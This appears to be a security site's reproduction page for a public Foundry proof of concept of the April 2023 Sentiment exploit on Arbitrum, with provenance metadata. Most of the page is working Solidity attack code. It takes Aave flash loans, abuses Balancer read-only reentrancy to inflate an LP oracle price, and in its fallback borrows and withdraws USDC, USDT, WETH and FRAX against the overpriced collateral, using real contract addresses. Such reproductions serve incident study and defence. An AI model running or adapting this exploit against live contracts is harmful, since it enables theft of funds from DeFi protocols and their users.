Skip to content
THREATWIRE

Public reproduction file

src/test/2023-04/Sentiment_exp.sol

Public reproduction file for dataset entry Sentiment.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-04/Sentiment_exp.sol238 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/peckshield/status/1643417467879059456
9// https://twitter.com/spreekaway/status/1643313471180644360
10// https://medium.com/coinmonks/theoretical-practical-balancer-and-read-only-reentrancy-part-1-d6a21792066c
11// @TX
12// https://arbiscan.io/tx/0xa9ff2b587e2741575daf893864710a5cbb44bb64ccdc487a100fa20741e0f74d
13// @Summary
14// Attacker used view re-entrance Balancer bug to execute malicious code before pool balances were updated and steal money using overpriced collateral
16interface IWeightedBalancerLPOracle {
17 function getPrice(
18 address token
19 ) external view returns (uint256);
22interface IAccountManager {
23 function riskEngine() external;
24 function openAccount(
25 address owner
26 ) external returns (address);
27 function borrow(address account, address token, uint256 amt) external;
29 function deposit(address account, address token, uint256 amt) external;
31 function exec(address account, address target, uint256 amt, bytes calldata data) external;
33 function approve(address account, address token, address spender, uint256 amt) external;
36interface IBalancerToken is IERC20 {
37 function getPoolId() external view returns (bytes32);
40contract ContractTest is Test {
41 IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
42 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
43 IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
44 IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
45 IERC20 FRAX = IERC20(0x17FC002b466eEc40DaE837Fc4bE5c67993ddBd6F);
46 address FRAXBP = 0xC9B8a3FDECB9D5b218d02555a8Baf332E5B740d5;
47 address account;
48 bytes32 PoolId;
49 uint256 nonce;
50 IBalancerToken balancerToken = IBalancerToken(0x64541216bAFFFEec8ea535BB71Fbc927831d0595);
51 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
52 IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
53 IAccountManager AccountManager = IAccountManager(0x62c5AA8277E49B3EAd43dC67453ec91DC6826403);
54 IWeightedBalancerLPOracle WeightedBalancerLPOracle =
55 IWeightedBalancerLPOracle(0x16F3ae9C1727ee38c98417cA08BA785BB7641b5B);
56 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
58 function setUp() public {
59 cheats.createSelectFork("arbitrum", 77_026_912);
60 cheats.label(address(WBTC), "WBTC");
61 cheats.label(address(USDT), "USDT");
62 cheats.label(address(USDC), "USDC");
63 cheats.label(address(WETH), "WETH");
64 cheats.label(address(FRAX), "FRAX");
65 cheats.label(address(account), "account");
66 cheats.label(address(Balancer), "Balancer");
67 cheats.label(address(aaveV3), "aaveV3");
68 cheats.label(address(balancerToken), "balancerToken");
69 cheats.label(address(AccountManager), "AccountManager");
70 cheats.label(address(WeightedBalancerLPOracle), "WeightedBalancerLPOracle");
71 }
73 function testExploit() external {
74 payable(address(0)).transfer(address(this).balance);
75 AccountManager.riskEngine();
76 address[] memory assets = new address[](3);
77 assets[0] = address(WBTC);
78 assets[1] = address(WETH);
79 assets[2] = address(USDC);
80 uint256[] memory amounts = new uint256[](3);
81 amounts[0] = 606 * 1e8;
82 amounts[1] = 10_050_100 * 1e15;
83 amounts[2] = 18_000_000 * 1e6;
84 uint256[] memory modes = new uint256[](3);
85 modes[0] = 0;
86 modes[1] = 0;
87 modes[2] = 0;
88 aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
90 console.log("\r");
91 emit log_named_decimal_uint(
92 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
93 );
94 emit log_named_decimal_uint(
95 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
96 );
97 emit log_named_decimal_uint(
98 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
99 );
100 emit log_named_decimal_uint(
101 "Attacker WBTC balance after exploit", WBTC.balanceOf(address(this)), WBTC.decimals()
102 );
103 }
105 function executeOperation(
106 address[] calldata assets,
107 uint256[] calldata amounts,
108 uint256[] calldata premiums,
109 address initiator,
110 bytes calldata params
111 ) external payable returns (bool) {
112 depositCollateral(assets);
113 joinPool(assets);
114 exitPool();
115 WETH.approve(address(aaveV3), type(uint256).max);
116 WBTC.approve(address(aaveV3), type(uint256).max);
117 USDC.approve(address(aaveV3), type(uint256).max);
118 return true;
119 }
121 function depositCollateral(
122 address[] calldata assets
123 ) internal {
124 WETH.withdraw(100 * 1e15);
125 account = AccountManager.openAccount(address(this));
126 WETH.approve(address(AccountManager), 50 * 1e18);
127 AccountManager.deposit(account, address(WETH), 50 * 1e18);
128 AccountManager.approve(account, address(WETH), address(Balancer), 50 * 1e18);
129 PoolId = balancerToken.getPoolId();
130 uint256[] memory amountIn = new uint256[](3);
131 amountIn[0] = 0;
132 amountIn[1] = 50 * 1e18;
133 amountIn[2] = 0;
134 bytes memory userDatas = abi.encode(uint256(1), amountIn, uint256(0));
135 IBalancerVault.JoinPoolRequest memory joinPoolRequest_1 = IBalancerVault.JoinPoolRequest({
136 asset: assets,
137 maxAmountsIn: amountIn,
138 userData: userDatas,
139 fromInternalBalance: false
140 });
141 // "joinPool(bytes32,address,address,(address[],uint256[],bytes,bool))"
142 bytes memory execData = abi.encodeWithSelector(0xb95cac28, PoolId, account, account, joinPoolRequest_1);
143 AccountManager.exec(account, address(Balancer), 0, execData); // deposit 50 WETH
144 }
146 function joinPool(
147 address[] calldata assets
148 ) internal {
149 WETH.approve(address(Balancer), 10_000 * 1e18);
150 WBTC.approve(address(Balancer), 606 * 1e18);
151 USDC.approve(address(Balancer), 18_000_000 * 1e6);
152 uint256[] memory amountIn = new uint256[](3);
153 amountIn[0] = 606 * 1e8;
154 amountIn[1] = 10_000 * 1e18;
155 amountIn[2] = 18_000_000 * 1e6;
156 bytes memory userDatas = abi.encode(uint256(1), amountIn, uint256(0));
157 IBalancerVault.JoinPoolRequest memory joinPoolRequest_2 = IBalancerVault.JoinPoolRequest({
158 asset: assets,
159 maxAmountsIn: amountIn,
160 userData: userDatas,
161 fromInternalBalance: false
162 });
163 Balancer.joinPool{value: 0.1 ether}(PoolId, address(this), address(this), joinPoolRequest_2);
164 console.log(
165 "Before Read-Only-Reentrancy Collateral Price \t", WeightedBalancerLPOracle.getPrice(address(balancerToken))
166 );
167 }
169 function exitPool() internal {
170 balancerToken.approve(address(Balancer), 0);
171 address[] memory assetsOut = new address[](3);
172 assetsOut[0] = address(WBTC);
173 assetsOut[1] = address(0);
174 assetsOut[2] = address(USDC);
175 uint256[] memory amountOut = new uint256[](3);
176 amountOut[0] = 606 * 1e8;
177 amountOut[1] = 5000 * 1e18;
178 amountOut[2] = 9_000_000 * 1e6;
179 uint256 balancerTokenAmount = balancerToken.balanceOf(address(this));
180 bytes memory userDatas = abi.encode(uint256(1), balancerTokenAmount);
181 IBalancerVault.ExitPoolRequest memory exitPoolRequest = IBalancerVault.ExitPoolRequest({
182 asset: assetsOut,
183 minAmountsOut: amountOut,
184 userData: userDatas,
185 toInternalBalance: false
186 });
187 Balancer.exitPool(PoolId, address(this), payable(address(this)), exitPoolRequest);
188 console.log(
189 "After Read-Only-Reentrancy Collateral Price \t", WeightedBalancerLPOracle.getPrice(address(balancerToken))
190 );
191 address(WETH).call{value: address(this).balance}("");
192 }
194 fallback() external payable {
195 if (nonce == 2) {
196 console.log(
197 "In Read-Only-Reentrancy Collateral Price \t", WeightedBalancerLPOracle.getPrice(address(balancerToken))
198 );
199 borrowAll();
200 }
201 nonce++;
202 }
204 function borrowAll() internal {
205 AccountManager.borrow(account, address(USDC), 461_000 * 1e6);
206 AccountManager.borrow(account, address(USDT), 361_000 * 1e6);
207 AccountManager.borrow(account, address(WETH), 81 * 1e18);
208 AccountManager.borrow(account, address(FRAX), 125_000 * 1e18);
209 AccountManager.approve(account, address(FRAX), FRAXBP, type(uint256).max);
210 bytes memory execData =
211 abi.encodeWithSignature("exchange(int128,int128,uint256,uint256)", 0, 1, 120_000 * 1e18, 1);
212 AccountManager.exec(account, FRAXBP, 0, execData);
213 AccountManager.approve(account, address(USDC), address(aaveV3), type(uint256).max);
214 AccountManager.approve(account, address(USDT), address(aaveV3), type(uint256).max);
215 AccountManager.approve(account, address(WETH), address(aaveV3), type(uint256).max);
216 execData =
217 abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(USDC), 580_000 * 1e6, account, 0);
218 AccountManager.exec(account, address(aaveV3), 0, execData);
219 execData =
220 abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(USDT), 360_000 * 1e6, account, 0);
221 AccountManager.exec(account, address(aaveV3), 0, execData);
222 execData =
223 abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(WETH), 80 * 1e18, account, 0);
224 AccountManager.exec(account, address(aaveV3), 0, execData);
225 execData = abi.encodeWithSignature(
226 "withdraw(address,uint256,address)", address(USDC), type(uint256).max, address(this)
227 );
228 AccountManager.exec(account, address(aaveV3), 0, execData);
229 execData = abi.encodeWithSignature(
230 "withdraw(address,uint256,address)", address(USDT), type(uint256).max, address(this)
231 );
232 AccountManager.exec(account, address(aaveV3), 0, execData);
233 execData = abi.encodeWithSignature(
234 "withdraw(address,uint256,address)", address(WETH), type(uint256).max, address(this)
235 );
236 AccountManager.exec(account, address(aaveV3), 0, execData);
237 }

Analysis

Dataset entry

Public Foundry test for “Sentiment” (2023-04-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Sentiment
Path
src/test/2023-04/Sentiment_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
678c37869dd95616d595df710aced19f961f0af8
Language
Solidity
Size
239 lines
Date
2023-04-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-04/Sentiment_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 678c37869dd95616d595df710aced19f961f0af8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.